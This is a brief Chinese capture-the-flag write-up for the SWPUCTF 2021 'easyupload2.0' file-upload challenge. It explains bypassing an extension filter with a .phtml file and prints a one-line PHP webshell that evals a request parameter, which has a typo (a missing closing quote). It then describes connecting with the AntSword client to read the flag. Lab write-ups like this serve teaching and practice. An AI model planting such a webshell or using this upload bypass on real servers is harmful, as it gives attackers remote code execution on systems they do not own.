[SWPUCTF 2021 新生赛]easyupload2.0(前端后缀过滤不完整＋一句话木马＋蚁剑)

首先看标签，明确方向，这是一个文件上传的题目。

看这里的upload1.jpg，首先我想到先用php配置文件修改jpg文件的属性，让服务器能够解析执行jpg文件.

但是似乎不可行

那就换扩展名

php行不通，那就继续换，经过实验，发现phtml和phtm没有过滤干净

哦，忘了，这里的一句话木马密码是a，之前忘记说了

一句话木马：

<?php

eval($_REQUEST['a]);

接下来使用蚁剑连接这个网址：http://node4.anna.nssctf.cn:28922/upload/1.phtml

后面的1.phtml是你上传的文件，然后找到flag.php

拿到flag